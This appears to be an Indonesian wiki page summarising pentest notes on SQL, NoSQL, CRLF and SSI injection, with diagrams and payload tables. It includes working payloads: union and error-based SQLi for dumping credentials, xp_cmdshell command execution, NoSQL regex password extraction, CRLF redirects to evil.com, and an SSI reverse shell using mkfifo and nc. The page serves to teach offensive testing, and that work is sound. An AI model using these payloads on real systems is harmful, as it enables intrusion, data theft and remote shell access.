4
Injeksi Query dan Header
Empat catatan di halaman ini berangkat dari titik yang sama, yaitu input pengguna, lalu berpisah ke dua muara. Pada SQL Injection.md dan NoSQL Injection.md input menjadi bagian query database SQL Injection.md:4-61 NoSQL Injection.md:3-42. Pada CRLF Injection.md dan Server Side Include Injection.md input menjadi bagian header respons atau direktif yang dieksekusi web server CRLF Injection.md:3-43 Server Side Include Injection.md:3-44. Keempat berkas memakai kerangka Introduction, Where to find, dan How to exploit seperti catatan lain di repository, lihat Arsitektur Repositori dan Konvensi Catatan.
| Berkas | Titik temuan | Muara payload | Bentuk akhir catatan |
|---|---|---|---|
SQL Injection.md | "Everywhere" SQL Injection.md:16-175 | query database | perintah OS lewat xp_cmdshell SQL Injection.md:158-1626 |
NoSQL Injection.md | tanpa bagian Where to find, langsung How to Exploit | query dokumen NoSQL | ekstraksi karakter blind NoSQL Injection.md:62-867 |
CRLF Injection.md | parameter yang memicu redirect 301, 302, 303, 307, 308 CRLF Injection.md:6-78 | header respons | Location dan Set-Cookie sisipan CRLF Injection.md:9-219 |
Server Side Include Injection.md | form dan parameter GET Server Side Include Injection.md:6-710 | direktif SSI di body | reverse shell lewat exec cmd Server Side Include Injection.md:25-2811 |
Jalur payload dari input ke muara
Diagram berikut menyatukan keempat jalur. Dua jalur berakhir di query database, dua jalur lain berakhir di header atau body respons.
sequenceDiagram
autonumber
actor A as Attacker
participant P as Parameter input
participant S as Aplikasi
participant Q as Query database
participant R as Header dan body respons
A->>P: kutip, operator $ne, %0D%0A, direktif SSI
P->>S: request
alt Injeksi query
S->>Q: query tanpa sanitasi
Q-->>S: error atau baris data
S-->>A: versi, nama tabel, isi kolom
else Injeksi header dan body
S->>R: header atau direktif yang memuat payload
R-->>A: Set-Cookie dan Location baru, hasil direktif
end
Note over Q,R: Sumber payload sama, muara berbeda
%% fig: Jalur payload injeksi query dan header
%% desc: Input dari parameter berakhir di query database atau di header dan body respons, bergantung pada jenis injeksinya.SQL Injection: dari uji kutip ke perintah shell
Catatan membagi SQLi menjadi in-band, error-based, union-based, blind, dan out-of-band SQL Injection.md:8-1412; urutan uji di bawah mengikuti jalur in-band. Semuanya dimulai dari satu tanda kutip pada parameter GET ?id=5' SQL Injection.md:26-3013. Jika respons berubah, jumlah kolom dihitung dengan menaikkan order by 1, order by 2, order by 3 sampai error berhenti SQL Injection.md:34-4214. Jumlah itu dipakai pada union select: MySQL memakai 1, 2, 3, PostgreSQL memakai NULL, NULL, NULL, dan kolom yang tercetak menandai posisi injectable SQL Injection.md:47-5515.
graph TD
A["Kutip pada parameter GET"] --> B["order by n sampai error berhenti"]
B --> C["union select sejumlah kolom"]
C --> D["version, database, current_user"]
D --> E["information_schema: schemata, tabel, kolom"]
E --> F["concat kredensial dari tabel users"]
F --> G["CAST error based pada MS-SQL"]
G --> H["EXEC master..xp_cmdshell"]
style A fill:#2d7d46,color:#fff
style B fill:#2d7d46,color:#fff
style C fill:#f59e0b,color:#000
style D fill:#8b5cf6,color:#fff
style E fill:#8b5cf6,color:#fff
style F fill:#8b5cf6,color:#fff
style G fill:#8b5cf6,color:#fff
style H fill:#dc2626,color:#fff
%% fig: Tangga eskalasi SQL Injection
%% desc: Uji kutip dan hitung kolom membuka pembacaan metadata, lalu berlanjut ke ekstraksi data dan eksekusi perintah.| Data yang dicari | Payload | Rujukan |
|---|---|---|
| versi DBMS | union select 1, 2, version() atau union select NULL, NULL, version() | SQL Injection.md:60-6316 |
| nama database | union select 1,2, database() | SQL Injection.md:66-7017 |
| user yang sedang login | union select 1, 2, current_user() | SQL Injection.md:73-7518 |
| daftar database | schema_name from information_schema.schemata atau datname from pg_database | SQL Injection.md:78-8219 |
| nama tabel | table_name from information_schema.tables where table_schema="database_name" | SQL Injection.md:85-8920 |
| nama kolom | column_name from information_schema.columns | SQL Injection.md:92-9621 |
| kredensial gabungan | concat(login,':',password) pada MySQL, penyambungan dengan operator ` |
Bila tidak ada kolom yang tercetak, catatan menyediakan jalur error-based untuk MS-SQL. Nilai dibaca dengan memaksa CAST ke varchar(4096): CAST(user_name() as varchar(4096)) untuk user aktif SQL Injection.md:111-11523 dan CAST(@@version as varchar(4096)) untuk versi SQL Injection.md:118-12024. Nama database diuji lewat db_name(0)=0 SQL Injection.md:123-12525. Daftar tabel diambil dari sysobjects dengan xtype='U', dan setiap iterasi menambah NOT IN agar baris sebelumnya tidak terulang SQL Injection.md:128-13426. Daftar kolom memakai join syscolumns dan sysobjects dengan pola NOT IN yang sama SQL Injection.md:137-14527. Isi baris diambil dengan SELECT TOP 1 CAST(columnName as varchar(4096)) SQL Injection.md:148-15528.
⚠️ Dua payload terakhir mengubah keadaan server.
EXEC master..xp_cmdshellhanya berjalan bila user database adalahsaSQL Injection.md:158-1626, dan mengaktifkannya menuntutRECONFIGURElewatsp_configureSQL Injection.md:164-16629. Baris itu ditulis apa adanya di catatan dengansp_congigure, jadi periksa ulang sebelum dipakai.
NoSQL Injection: operator sebagai payload
NoSQL memberi batasan konsistensi yang lebih longgar, tetapi tetap bisa diinjeksi walau tanpa sintaks SQL NoSQL Injection.md:3-42. Payload dikirim sebagai operator pada parameter: username[$ne]=toto&password[$ne]=toto NoSQL Injection.md:7-1730, yang setara dengan {"username": {"$ne": null}, "password": {"$ne": null}} NoSQL Injection.md:19-2531.
| Tujuan | Payload | Rujukan |
|---|---|---|
| bypass otentikasi | login[$regex]=a.*&pass[$ne]=lol, login[$gt]=admin&login[$lt]=test&pass[$ne]=1, login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto | NoSQL Injection.md:7-1730 |
| ukur panjang nilai | password[$regex]=.{1}, password[$regex]=.{3} | NoSQL Injection.md:27-3232 |
| ekstraksi karakter | password[$regex]=m.{2} lalu md.{1} lalu mdp | NoSQL Injection.md:34-4933 |
| cocokkan kandidat user | {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} | NoSQL Injection.md:51-5534 |
| jalankan fungsi PHP | "user":{"$func": "var_dump"} | NoSQL Injection.md:57-6035 |
| uji buta berbasis waktu | '%2bsleep(1)%2b' | NoSQL Injection.md:111-11436 |
Skrip blind di catatan memutar string.printable untuk satu posisi karakter setiap iterasi. Versi POST mengirim {"username": {"$eq": "%s"}, "password": {"$regex": "^%s"}} dan menambah karakter ketika 'OK' in r.text or r.status_code == 302 NoSQL Injection.md:62-867. Versi GET mengirim ?username=%s&password[$regex]=^%s dan menandai kecocokan lewat 'Yeah' in r.text NoSQL Injection.md:88-10937.
stateDiagram-v2
[*] --> Kandidat
Kandidat --> Request: password + c
Request --> Cocok: OK in r.text atau status_code 302
Request --> Kandidat: tidak cocok
Cocok --> Tersimpan: password += c
Tersimpan --> Kandidat
Kandidat --> [*]: string.printable habis
style Kandidat fill:#f59e0b,color:#000
style Request fill:#336791,color:#fff
style Cocok fill:#2d7d46,color:#fff
style Tersimpan fill:#8b5cf6,color:#fff
%% fig: Loop ekstraksi blind NoSQL
%% desc: Setiap karakter kandidat diuji lewat request, dan hanya respons yang cocok memperpanjang password yang sudah ditemukan.Daftar payload MongoDB menyertai skrip itu, misalnya $where: '1 == 1', {$gt: ''}, dan [$ne]=1 NoSQL Injection.md:116-13638. Sebagian payload di daftar menulis ke database, misalnya db.injection.insert({success:1}) NoSQL Injection.md:127-12839.
⚠️
db.injection.insertmembuat dokumen baru di database target. Jangan kirim seluruh blok daftar itu sekaligus ke target nyata; pilih satu payload per uji.
Untuk enumerasi otomatis, catatan hanya menautkan NoSQLmap NoSQL Injection.md:138-13940.
CRLF Injection: menyisipkan header
CRLF Injection terjadi saat pengguna berhasil mengirim karakter CR dan LF ke aplikasi, paling sering lewat parameter HTTP atau URL CRLF Injection.md:3-43. Titik temuan yang disarankan adalah parameter yang memicu redirect, dengan respons 301, 302, 303, 307, atau 308 CRLF Injection.md:6-78. Payload ?lang=en%0D%0ALocation:%20https://evil.com/ membuat respons tetap HTTP/1.1 200 OK tetapi memuat Set-Cookie: language=en diikuti Location: https://evil.com/ CRLF Injection.md:9-219.
| Tingkat encoding | Penanda | Rujukan |
|---|---|---|
| langsung | %0D%0A | CRLF Injection.md:9-219 |
| double encode | %250D%250A | CRLF Injection.md:23-2641 |
| unicode | %E5%98%8A%E5%98%8D | CRLF Injection.md:28-3142 |
Dua varian terakhir dipakai saat aplikasi atau WAF menormalkan %0D%0A. Payload ?lang=en%250D%250ALocation:%20https://evil.com/ mengenkode ulang penanda CRLF Injection.md:23-2641, sedangkan ?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/ memakai pasangan unicode sebagai pengganti CRLF CRLF Injection.md:28-3142.
Header Location di catatan hanya contoh; yang menentukan adalah header sisipan muncul di respons. Pengubahan header Host pada request adalah topik terpisah di Kontrol Akses dan Request Server Side, sedangkan lanjutan response splitting ke eksekusi skrip di klien dibahas di Kerentanan Sisi Klien dan Pengalihan URL.
SSI Injection: direktif yang dieksekusi server
SSI Injection muncul ketika data dari pengguna dipakai sebagai bagian direktif Server Side Include Server Side Include Injection.md:3-44. Catatan menyarankan menyisipkan payload pada form atau parameter GET Server Side Include Injection.md:6-710.
| Tujuan | Direktif | Rujukan |
|---|---|---|
| cetak waktu server | <!--#echo var="DATE_LOCAL" --> | Server Side Include Injection.md:9-1343 |
| cetak semua variabel | <!--#printenv --> | Server Side Include Injection.md:15-1844 |
| sertakan berkas | <!--#include file="includefile.html" --> | Server Side Include Injection.md:20-2345 |
Langkah keempat di catatan sudah mengarah ke eksekusi perintah, bukan lagi pembacaan data Server Side Include Injection.md:25-2811:
<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
⚠️ Direktif itu membuat named pipe di
/tmp/foo, membuka koneksi balik keIP PORT, lalu menghapus pipe lewatrm. Jangan dijalankan di luar scope yang diizinkan, dan ingatexechanya berfungsi bila SSI diaktifkan pada web server target.
Pembacaan berkas lokal dan penyertaan berkas remote lewat parameter lain dibahas di Penanganan Berkas dan Pengungkapan Kode Sumber.
Batas akhir tiap jalur
Keempat catatan berhenti di titik yang berbeda. SQL Injection bisa mencapai perintah OS, tetapi bergantung pada hak akses sa SQL Injection.md:158-1626. NoSQL Injection berhenti pada ekstraksi data, dengan $func sebagai jalan tambahan ke fungsi PHP NoSQL Injection.md:57-6035. CRLF Injection hanya mengubah header respons, dan status respons bisa tetap 200 OK meski injeksi berhasil CRLF Injection.md:9-219. SSI Injection berjalan paling jauh ketika printenv dan include tidak lagi cukup, yaitu pada direktif exec Server Side Include Injection.md:25-2811.